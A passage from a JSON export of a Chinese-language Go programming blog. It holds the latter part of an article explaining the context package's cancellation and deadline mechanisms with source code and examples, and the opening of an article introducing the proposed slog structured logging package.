) func Background() Context { return background } func TODO() Context { return todo } 我们看到，虽然标准库提供了两种root Context的创建方法，但它们本质是一样的，底层都返回的是一个与程序同生命周期的emptyCtx类型的实例。有小伙伴可能会问：Go所有代码共享一个root Context会不会有问题呢？\n答案是不会！因为root Context啥“实事”也不做，就像“英联邦国王”一样，仅具有名义上的象征意义，它既不会存储上下文值信息，也不会携带上下文控制信息，整个生命周期内它都不会被改变。它只是作为二级上下文parent Context的指向，真正具有“功能”作用的Context是类似于首相或总理的second-level Context：\n通常我们都会使用Background()函数构造root Context，而按照context包TODO函数的注释来看，TODO仅在不清楚应该使用哪个Context的情况下临时使用。\n3) WithCancel函数 WithCancel函数为上下文提供了第一种控制机制：可取消(cancel)，它也是整个context包控制机制的基础。我们先直观感受一下WithCancel的作用，下面是Go context包文档中的一个例子：\npackage main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; ) func main() { gen := func(ctx context.Context) \u0026lt;-chan int { dst := make(chan int) n := 1 go func() { for { select { case \u0026lt;-ctx.Done(): return // returning not to leak the goroutine case dst \u0026lt;- n: n++ } } }() return dst } ctx, cancel := context.WithCancel(context.Background()) defer cancel() // cancel when we are finished consuming integers for n := range gen(ctx) { fmt.Println(n) if n == 5 { break } } } 在这个例子，main函数通过WithCancel创建了一个具有可取消属性的Context实例，然后在调用gen函数时传入了该实例。WithCancel函数除了返回一个具有可取消属性的Context实例外，还返回了一个cancelFunc，这个cancelFunc就是握在调用者手里的那个“按钮”，一旦按下该“按钮”，即调用者发出“取消”信号，异步调用中启动的goroutine就应该放下手头工作，老老实实地退出。\n就像上面这个示例一样，main函数将cancel Context传给gen后，gen函数启动了一个新goroutine用于生成一组数列，而main函数则从gen返回的channel中读取这些数列中的数。main函数在读完第5个数字后，按下了“按钮”，即调用了cancel Function。这时那个生成数列的goroutine会监听到Done channel有事件，然后完成goroutine的退出。\n这就是前面说过的那种调用者和被调用者(以及调用者创建的新goroutine)之间应具备的那种“默契”，这种“默契”要求两者都要基于上下文按一定的“套路”进行处理，在这个例子中就体现在调用者适时调用cancel Function，而gen启动的goroutine要监听可取消Context实例的Done channel。\n并且通常，我们在创建完一个cancel Context后，立即会通过defer将cancel Function注册到deferred function stack中去，以防止因未调用cancel Function导致的资源泄露！在这个例子中，如果不调用cancel Function，gen函数创建的那个goroutine就会一直运行，虽然它生成的数字已经不会再有其他goroutine消费。\n相较于WithValue函数，WithCancel的实现略复杂：\n// $GOROOT/src/context/context.go func WithCancel(parent Context) (ctx Context, cancel CancelFunc) { if parent == nil { panic(\u0026quot;cannot create context from nil parent\u0026quot;) } c := newCancelCtx(parent) propagateCancel(parent, \u0026amp;c) return \u0026amp;c, func() { c.cancel(true, Canceled) } } func newCancelCtx(parent Context) cancelCtx { return cancelCtx{Context: parent} } 其复杂就复杂在propagateCancel这个调用上：\n// propagateCancel arranges for child to be canceled when parent is. func propagateCancel(parent Context, child canceler) { done := parent.Done() if done == nil { return // parent is never canceled } select { case \u0026lt;-done: // parent is already canceled child.cancel(false, parent.Err()) return default: } if p, ok := parentCancelCtx(parent); ok { p.mu.Lock() if p.err != nil { // parent has already been canceled child.cancel(false, p.err) } else { if p.children == nil { p.children = make(map[canceler]struct{}) } p.children[child] = struct{}{} } p.mu.Unlock() } else { atomic.AddInt32(\u0026amp;goroutines, +1) go func() { select { case \u0026lt;-parent.Done(): child.cancel(false, parent.Err()) case \u0026lt;-child.Done(): } }() } } propagateCancel通过parentCancelCtx向上顺着parent路径查找，之所以可以这样，是因为Value方法具备沿着parent路径查找的特性：\nfunc parentCancelCtx(parent Context) (*cancelCtx, bool) { done := parent.Done() if done == closedchan || done == nil { return nil, false } p, ok := parent.Value(\u0026amp;cancelCtxKey).(*cancelCtx) // 沿着parent路径查找第一个cancelCtx if !ok { return nil, false } pdone, _ := p.done.Load().(chan struct{}) if pdone != done { return nil, false } return p, true } 如果找到一个cancelCtx，就将自己加入到该cancelCtx的child map中：\ntype cancelCtx struct { Context mu sync.Mutex // protects following fields done atomic.Value // of chan struct{}, created lazily, closed by first cancel call children map[canceler]struct{} // set to nil by the first cancel call err error // set to non-nil by the first cancel call } 注：接口类型值是支持比较的，如果两个接口类型值的动态类型相同且动态类型的值相同，那么两个接口类型值就相同。这也是children这个map用canceler接口作为key的原因。\n这样当其parent cancelCtx的cancel Function被调用时，cancel function会调用cancelCtx的cancel方法，cancel方法会遍历所有children cancelCtx，然后调用child的cancel方法以达到关联取消的目的，同时该parent cancelCtx会与所有children cancelCtx解除关系！\nfunc (c *cancelCtx) cancel(removeFromParent bool, err error) { if err == nil { panic(\u0026quot;context: internal error: missing cancel error\u0026quot;) } c.mu.Lock() if c.err != nil { c.mu.Unlock() return // already canceled } c.err = err d, _ := c.done.Load().(chan struct{}) if d == nil { c.done.Store(closedchan) } else { close(d) } for child := range c.children { // 遍历children，调用cancel方法 // NOTE: acquiring the child's lock while holding parent's lock. child.cancel(false, err) } c.children = nil // 解除与children的关系 c.mu.Unlock() if removeFromParent { removeChild(c.Context, c) } } 我们用一个例子来演示一下：\n// github.com/bigwhite/experiments/tree/master/context-examples/with_cancel/cancelctx_map.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) // 直接使用parent cancelCtx func f1(ctx context.Context) { go func() { select { case \u0026lt;-ctx.Done(): fmt.Println(\u0026quot;goroutine created by f1 exit\u0026quot;) } }() } // 基于parent cancelCtx创建新的cancelCtx func f2(ctx context.Context) { ctx1, _ := context.WithCancel(ctx) go func() { select { case \u0026lt;-ctx1.Done(): fmt.Println(\u0026quot;goroutine created by f2 exit\u0026quot;) } }() } // 使用基于parent cancelCtx创建的valueCtx func f3(ctx context.Context) { ctx1 := context.WithValue(ctx, \u0026quot;key3\u0026quot;, \u0026quot;value3\u0026quot;) go func() { select { case \u0026lt;-ctx1.Done(): fmt.Println(\u0026quot;goroutine created by f3 exit\u0026quot;) } }() } // 基于parent cancelCtx创建的valueCtx之上创建cancelCtx func f4(ctx context.Context) { ctx1 := context.WithValue(ctx, \u0026quot;key4\u0026quot;, \u0026quot;value4\u0026quot;) ctx2, _ := context.WithCancel(ctx1) go func() { select { case \u0026lt;-ctx2.Done(): fmt.Println(\u0026quot;goroutine created by f4 exit\u0026quot;) } }() } func main() { valueCtx := context.WithValue(context.Background(), \u0026quot;key0\u0026quot;, \u0026quot;value0\u0026quot;) cancelCtx, cf := context.WithCancel(valueCtx) f1(cancelCtx) f2(cancelCtx) f3(cancelCtx) f4(cancelCtx) time.Sleep(3 * time.Second) fmt.Println(\u0026quot;cancel all by main\u0026quot;) cf() time.Sleep(10 * time.Second) // wait for log output } 上面这个示例演示了四种情况：\nf1: 直接使用parent cancelCtx f2: 基于parent cancelCtx创建新的cancelCtx f3: 使用基于parent cancelCtx创建的valueCtx f4: 使用基于parent cancelCtx创建的valueCtx之上创建的cancelCtx 运行这个示例，我们得到：\ncancel all by main goroutine created by f1 exit goroutine created by f2 exit goroutine created by f3 exit goroutine created by f4 exit 我们看到，无论是直接使用parent cancelCtx，还是使用基于parent cancelCtx创建的其他各种Ctx，当parent cancelCtx的cancel Function被调用后，所有监听对应child Done channel的goroutine都能正确收到通知并退出。\n当然这种“取消通知”只能由parent通知到下面的children，反过来则不行，parent cancelCtx不会因为child Context的cancel function被调用而被cancel掉。另外如果某个children cancelCtx的cancel Function被调用后，该children会与其parent cancelCtx解绑。\n在前面贴出的propagateCancel函数的实现中，我们还看到了另外一个分支，即parentCancelCtx函数返回的ok为false时，propagateCancel函数会启动一个新的goroutine监听parent Done channel和自身的Done channel。什么情况下会走到这个执行分支下呢？这种情况似乎不多！我们来看一个自定义cancelCtx的情况：\npackage main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;time\u0026quot; ) func f1(ctx context.Context) { ctx1, _ := context.WithCancel(ctx) go func() { select { case \u0026lt;-ctx1.Done(): fmt.Println(\u0026quot;goroutine created by f1 exit\u0026quot;) } }() } type myCancelCtx struct { context.Context done chan struct{} err error } func (ctx *myCancelCtx) Done() \u0026lt;-chan struct{} { return ctx.done } func (ctx *myCancelCtx) Err() error { return ctx.err } func WithMyCancelCtx(parent context.Context) (context.Context, context.CancelFunc) { var myCtx = \u0026amp;myCancelCtx{ Context: parent, done: make(chan struct{}), } return myCtx, func() { myCtx.done \u0026lt;- struct{}{} myCtx.err = context.Canceled } } func main() { valueCtx := context.WithValue(context.Background(), \u0026quot;key0\u0026quot;, \u0026quot;value0\u0026quot;) fmt.Println(\u0026quot;before f1:\u0026quot;, runtime.NumGoroutine()) myCtx, mycf := WithMyCancelCtx(valueCtx) f1(myCtx) fmt.Println(\u0026quot;after f1:\u0026quot;, runtime.NumGoroutine()) time.Sleep(3 * time.Second) mycf() time.Sleep(10 * time.Second) // wait for log output } 在这个例子中，我们“部分逃离”了context cancelCtx的体系并自定义了一个实现了Context接口的myCancelCtx，在这样的情况下，当f1函数基于myCancelCtx构建自己的child CancelCtx时，由于向上找不到*cancelCtx类型，所以它WithCancel启动了一个goroutine既监听自己的Done channel，也监听其parent Ctx(即myCancelCtx)的Done channel。\n当myCancelCtx的cancel Function在main函数中被调用时(mycf())，新建的goroutine会调用child的cancel函数实现操作取消。运行上面示例，我们得到如下结果：\n$go run custom_cancelctx.go before f1: 1 after f1: 3 // 在context包中新创建了一个goroutine goroutine created by f1 exit 由此，我们看到，除了“业务”层面可能导致的资源泄露之外，cancel Context的实现中也会有一些资源(比如上面这个新建的goroutine)需要及时释放，否则也会导致“泄露”。\n一些小伙伴可能会问这样一个问题：在被调用函数(callee)中，到底是继续传递原cancelCtx给新建的goroutine，还是基于parent cancelCtx创建一个新的cancelCtx再传给goroutine用呢？这让我想起了装修时遇到的一个问题：是否在水管某些地方加阀门？\n加上阀门，可以单独控制一路的关闭！同样在代码中，基于parent cancelCtx创建新的cancelCtx可以做单独取消操作，而不影响parentCtx，这就看业务层代码是否需要这么做了。\n到这里，我们已经get到了context包提供的取消机制，但实际中，我们很难拿捏好cancel Function调用的时机。为此，context包提供了另外一个建构在cancelCtx之上的实用控制机制：timerCtx。接下来，我们就来看看timerCtx。\n4) WithDeadline和WithTimeout函数 timerCtx基于cancelCtx提供了一种基于deadline的取消控制机制：\ntype timerCtx struct { cancelCtx timer *time.Timer // Under cancelCtx.mu. deadline time.Time } context包提供了两个创建timerCtx的API：WithDeadline和WithTimeout函数：\n// $GOROOT/src/context/context.go func WithDeadline(parent Context, d time.Time) (Context, CancelFunc) { if parent == nil { panic(\u0026quot;cannot create context from nil parent\u0026quot;) } if cur, ok := parent.Deadline(); ok \u0026amp;\u0026amp; cur.Before(d) { // The current deadline is already sooner than the new one. return WithCancel(parent) } c := \u0026amp;timerCtx{ cancelCtx: newCancelCtx(parent), deadline: d, } propagateCancel(parent, c) dur := time.Until(d) if dur \u0026lt;= 0 { c.cancel(true, DeadlineExceeded) // deadline has already passed return c, func() { c.cancel(false, Canceled) } } c.mu.Lock() defer c.mu.Unlock() if c.err == nil { c.timer = time.AfterFunc(dur, func() { c.cancel(true, DeadlineExceeded) }) } return c, func() { c.cancel(true, Canceled) } } func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc) { return WithDeadline(parent, time.Now().Add(timeout)) } 从实现来看，WithTimeout就是WithDeadline的再包装！我们弄懂WithDeadline即可。从WithDeadline的实现来看，该函数通过time.AfterFunc设置了一个定时器，定时器fire后的执行逻辑就是执行该ctx的cancel Function。也就是说timerCtx既支持手工cancel(原cancelCtx的机制)，也支持定时cancel，并且通常由定时器来完成cancel。\n有了cancelCtx的基础，timerCtx就不难理解了。不要要注意的一点时，即便有了定时器来cancel操作，我们也不要忘记显式调用WithDeadline和WithTimeout返回的cancel function，及早释放资源不是更好么！\n4. 小结 本文对Go标准库context包要解决的问题、context包构成以及传值和传递控制的原理做了简要讲解，相信读完这些内容后，你再回头去看你写过的运用context包的代码肯定会有更为深刻的理解。\ncontext包目前在Go生态内得到广泛应用，较为典型的是在http handler中传递值信息、在tracing框架中通过在上下文中的trace ID来整合tracing信息等。\nGo社区对context包的声音也不全是正面，其中context.Context具有“病毒般”的传染性就是被集中诟病的方面。Go官方也有一个issue记录了Go社区对context包的反馈和优化建议，有兴趣的小伙伴可以去翻翻。\n本文的context包源码来自Go 1.19.1版本，与老版本Go或Go的未来版本可能会有差别。\n本文的源码在这里可以下载。\n5. 参考资料 context包文档手册 – https://pkg.go.dev/context Go Concurrency Patterns: Context – https://go.dev/blog/context “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/11/08/understand-go-context-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-context-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e原weibo账号处于jy状态，临时先用\u003ca href=\"https://weibo.com/u/6484441286\"\u003e小号\u003c/a\u003e \u003ca href=\"https://weibo.com/u/6484441286\"\u003ehttps://weibo.com/u/6484441286\u003c/a\u003e，欢迎大家关注！\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e“Gopher部落”知识星球双十一新人特惠，\u003ca href=\"https://t.zsxq.com/078E1QTjM\"\u003e领劵加入即享立减88元优惠\u003c/a\u003e – \u003ca href=\"https://t.zsxq.com/078E1QTjM\"\u003ehttps://t.zsxq.com/078E1QTjM\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/11/08/understand-go-context-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/11/08/understand-go-context-by-example\"\u003ehttps://tonybai.com/2022/11/08/understand-go-context-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e自从context包在\u003ca href=\"https://tonybai.com/2016/06/21/some-changes-in-go-1-7\"\u003eGo 1.7版本\u003c/a\u003e加入Go标准库，它就成为了Go标准库中较难理解和易误用的包之一。在我的博客中目前尚未有一篇系统介绍context包的文章，很多来自\u003ca href=\"http://gk.link/a/10AVZ\"\u003eGo专栏\u003c/a\u003e或\u003ca href=\"https://item.jd.com/13694000.html\"\u003e《Go语言精进之路》\u003c/a\u003e的读者都希望我能写一篇介绍context包的文章，今天我就来尝试一下^_^。\u003c/p\u003e","title":"通过实例理解Go标准库context包"},{"content":"\n本文永久链接 – https://tonybai.com/2022/10/30/first-exploration-of-slog\nGo自诞生以来就在其标准库内置了log包作为Go源码输出日志的标准组件，该包被广泛应用于Go标准库自身以及Go社区项目中。\n不过，针对Go标准库log包，Go社区要求改进的声音始终不断，主流声音聚焦在以下几点：\nlog包是为了方便人类可读而设计的，不支持便于机器解析的结构化日志(比如像zap那样输出json格式的日志)； 不支持日志级别(log level)； log包采用专有日志输出格式，又没有提供可供Go社区共同遵循的Logger接口类型，导致Go社区项目使用的log输出格式五花八门，相互之间又难以兼容。 Go社区曾经尝试过合力改进标准库log包，并撰写了Proposal设计初稿，但最终因各种原因都没有被Go核心团队接受。\n2022年8月末，Go团队的Jonathan Amsterdam发起discussion，意在和社区讨论为Go标准库添加结构化的、支持日志级别的日志包相关事宜，并形成一个一致的Proposal。\nJonathan Amsterdam将该结构化日志包命名为slog，计划放在log/slog下。他还在golang.org/x/exp下面给出了slog的初始实现，这几天该Proposal正式进入review阶段。至于何时能正式落地到Go正式版本中还不可知。\n在这篇文章中，我们就来简单看一下slog的proposal以及它的初始实现。\n1. slog的设计简介 slog的设计之初对社区目前的一些应用广泛的log包进行了详细调研，比如uber zap、zerolog等，因此slog的设计也算是“站在前人的肩膀上”，尤其是uber zap。\nJonathan Amsterdam为此次slog的设计设定了如下目标(摘自slog的proposal)：\n易用性 通过对现有日志包的调查发现，程序员们希望有一套简洁且易于理解的logging API。在此proposal中，我们将采用目前最流行的方式来表达键值对，即交替传入键和值。\n高性能高 该log API的设计将尽量减少内存分配和加锁。它提供了一个交替输入键和值的方法，虽略繁琐，但速度更快；\n可以与运行时跟踪(tracing)集成 Go团队正在开发一个改进的运行时跟踪(runtime tracing)系统。本软件包的日志将可以被无缝集成到这个跟踪系统中，使开发者能够将他们的程序行为与运行时的行为联系起来。\n这里基于slog proposal和golang.org/x/exp/slog的源码，画了一幅slog的结构示意图：\n简单解释一下这个图：\nslog从逻辑上分为前端(front)和后端(backend)。\nslog前端就是slog提供给使用者的API，不过，很遗憾slog依旧像log那样没有抽取出Logger接口，而是定义了一个Logger结构体，并提供了如图中的那些方法，这也意味着我们依旧无法在整个Go社区统一前端API；\n通过前端方法，slog将日志内容以及相关属性信息封装成一个slog.Record类型实例，然后传递给slog的后端。\n如果你使用的是Go社区的第三方log包的前端方法，比如zap，如果要使用slog后端，你同样需要对zap等进行封装，让其输出slog.Record并传递给slog的后端(目前尚没有这方面示例)。\nslog将后端抽象为slog.Handler接口，接口如下：\n// // Any of the Handler's methods may be called concurrently with itself // or with other methods. It is the responsibility of the Handler to // manage this concurrency. type Handler interface { // Enabled reports whether the handler handles records at the given level. // The handler ignores records whose level is lower. // Enabled is called early, before any arguments are processed, // to save effort if the log event should be discarded. Enabled(Level) bool // Handle handles the Record. // It will only be called if Enabled returns true. // Handle methods that produce output should observe the following rules: // - If r.Time is the zero time, ignore the time. // - If an Attr's key is the empty string, ignore the Attr. Handle(r Record) error // WithAttrs returns a new Handler whose attributes consist of // both the receiver's attributes and the arguments. // The Handler owns the slice: it may retain, modify or discard it. WithAttrs(attrs []Attr) Handler // WithGroup returns a new Handler with the given group appended to // the receiver's existing groups. // The keys of all subsequent attributes, whether added by With or in a // Record, should be qualified by the sequence of group names. // // How this qualification happens is up to the Handler, so long as // this Handler's attribute keys differ from those of another Handler // with a different sequence of group names. // // A Handler should treat WithGroup as starting a Group of Attrs that ends // at the end of the log event. That is, // // logger.WithGroup(\u0026quot;s\u0026quot;).LogAttrs(slog.Int(\u0026quot;a\u0026quot;, 1), slog.Int(\u0026quot;b\u0026quot;, 2)) // // should behave like // // logger.LogAttrs(slog.Group(\u0026quot;s\u0026quot;, slog.Int(\u0026quot;a\u0026quot;, 1), slog.Int(\u0026quot;b\u0026quot;, 2))) WithGroup(name string) Handler } 接口类型的存在，让slog的后端扩展性更强，我们除了可以使用slog提供的两个内置Handler实现：TextHandler和JSONHandler之外，还可以基于第三方log包定义或完全自定义后端Handler的实现。\nslog内置两个最常用的Handler：TextHandler和JSONHandler。TextHandler顾名思义，像标准库log包那样将日志以一行文本那样输出；而JSONHandler则是以JSON格式输出log内容与各个属性，我们看一下作者给的例子：\n// github.com/bigwhite/experiments/tree/master/slog-examples/demo1/main.go package main import ( \u0026quot;net\u0026quot; \u0026quot;golang.org/x/exp/slog\u0026quot; ) func main() { slog.SetDefault(slog.New(slog.NewTextHandler(os.Stderr))) slog.Info(\u0026quot;hello\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;Al\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(slog.ErrorLevel, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) } 这是一个使用内置TextHandler的示例，我们运行一下看看结果：\ntime=2022-10-23T18:41:35.074+08:00 level=INFO msg=hello name=Al time=2022-10-23T18:41:35.074+08:00 level=ERROR msg=oops status=500 err=\u0026quot;use of closed network connection\u0026quot; time=2022-10-23T18:41:35.074+08:00 level=ERROR msg=oops status=500 err=\u0026quot;use of closed network connection\u0026quot; 我们看到，输出的日志以“key1=value1 key2=value2 … keyN=valueN”形式呈现，time和level两个key是必选，调用Error方法时，err这个key也是必选的。\n接下来，我们将TextHandler换成JSONHandler：\nslog.SetDefault(slog.New(slog.NewTextHandler(os.Stderr))) 改为： slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stderr))) 运行修改后的程序，我们得到：\n{\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T18:45:26.2131+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;hello\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;Al\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T18:45:26.213287+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T18:45:26.21331+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} 我们看到，每条日志以一条json记录的形式呈现，这样的结构化日志非常适合机器解析。\n如果我们去掉上面SetDefault那一行代码，再来运行一下程序：\n2022/10/23 18:47:51 INFO hello name=Al 2022/10/23 18:47:51 ERROR oops status=500 err=\u0026quot;use of closed network connection\u0026quot; 2022/10/23 18:47:51 ERROR oops status=500 err=\u0026quot;use of closed network connection\u0026quot; 我们得到了不同于TextHandler和JSONHandler的日志样式，不过这个日志样式非常眼熟！这不和log包的输出样式相同么！没错，如果没有显式将新创建的Logger设置为默认Logger，slog会使用defaultHandler，而defaultHandler的output函数就是log.Output：\n// slog项目 // logger.go var defaultLogger atomic.Value func init() { defaultLogger.Store(Logger{ handler: newDefaultHandler(log.Output), // 这里直接使用了log.Output }) } // handler.go type defaultHandler struct { ch *commonHandler // log.Output, except for testing output func(calldepth int, message string) error } func newDefaultHandler(output func(int, string) error) *defaultHandler { return \u0026amp;defaultHandler{ ch: \u0026amp;commonHandler{json: false}, output: output, } } slog的前端是“固定格式”的，因此没什么可定制的。但后端这块倒是有不少玩法，接下来我们重点看一下后端。\n2. Handler选项(HandlerOptions) slog提供了HandlerOptions结构：\n// handler.go // HandlerOptions are options for a TextHandler or JSONHandler. // A zero HandlerOptions consists entirely of default values. type HandlerOptions struct { // Add a \u0026quot;source\u0026quot; attribute to the output whose value is of the form // \u0026quot;file:line\u0026quot;. // This is false by default, because there is a cost to extracting this // information. AddSource bool // Ignore records with levels below Level.Level(). // The default is InfoLevel. Level Leveler // If set, ReplaceAttr is called on each attribute of the message, // and the returned value is used instead of the original. If the returned // key is empty, the attribute is omitted from the output. // // The built-in attributes with keys \u0026quot;time\u0026quot;, \u0026quot;level\u0026quot;, \u0026quot;source\u0026quot;, and \u0026quot;msg\u0026quot; // are passed to this function first, except that time and level are omitted // if zero, and source is omitted if AddSourceLine is false. // // ReplaceAttr can be used to change the default keys of the built-in // attributes, convert types (for example, to replace a `time.Time` with the // integer seconds since the Unix epoch), sanitize personal information, or // remove attributes from the output. ReplaceAttr func(a Attr) Attr } 通过该结构，我们可以为输出的日志添加source信息，即输出日志的文件名与行号，下面就是一个例子：\n// github.com/bigwhite/experiments/tree/master/slog-examples/demo2/main.go package main import ( \u0026quot;net\u0026quot; \u0026quot;os\u0026quot; \u0026quot;golang.org/x/exp/slog\u0026quot; ) func main() { opts := slog.HandlerOptions{ AddSource: true, } slog.SetDefault(slog.New(opts.NewJSONHandler(os.Stderr))) slog.Info(\u0026quot;hello\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;Al\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(slog.ErrorLevel, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) } 运行上述程序，我们将得到：\n{\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:46:25.718112+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;source\u0026quot;:\u0026quot;/Users/tonybai/go/src/github.com/bigwhite/experiments/slog-examples/demo2/main.go:16\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;hello\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;Al\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:46:25.718324+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:\u0026quot;/Users/tonybai/go/src/github.com/bigwhite/experiments/slog-examples/demo2/main.go:17\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:46:25.718352+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:\u0026quot;/Users/tonybai/go/src/github.com/bigwhite/experiments/slog-examples/demo2/main.go:18\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} 我们也可以通过HandlerOptions实现日志级别的动态设置，比如下面例子：\n// github.com/bigwhite/experiments/tree/master/slog-examples/demo3/main.go func main() { var lvl = \u0026amp;slog.AtomicLevel{} lvl.Set(slog.DebugLevel) opts := slog.HandlerOptions{ Level: lvl, } slog.SetDefault(slog.New(opts.NewJSONHandler(os.Stderr))) slog.Info(\u0026quot;before resetting log level:\u0026quot;) slog.Info(\u0026quot;hello\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;Al\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(slog.ErrorLevel, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) slog.Info(\u0026quot;after resetting log level to error level:\u0026quot;) lvl.Set(slog.ErrorLevel) slog.Info(\u0026quot;hello\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;Al\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(slog.ErrorLevel, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) } slog.HandlerOptions的字段Level是一个接口类型变量，其类型为slog.Leveler：\ntype Leveler interface { Level() Level } 实现了Level方法的类型都可以赋值给HandlerOptions的Level字段，slog提供了支持并发访问的AtomicLevel供我们直接使用，上面的demo3使用的就是AtomicLevel，初始时设置的是DebugLevel，于是第一次调用Info、Error等API输出的日志都会得到输出，之后重置日志级别为ErrorLevel，这样Info API输出的日志将不会被呈现出来，下面是demo3程序的运行结果：\n{\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.467666+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;before resetting log level:\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.467818+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;hello\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;Al\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.467825+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.467842+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.467846+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;after 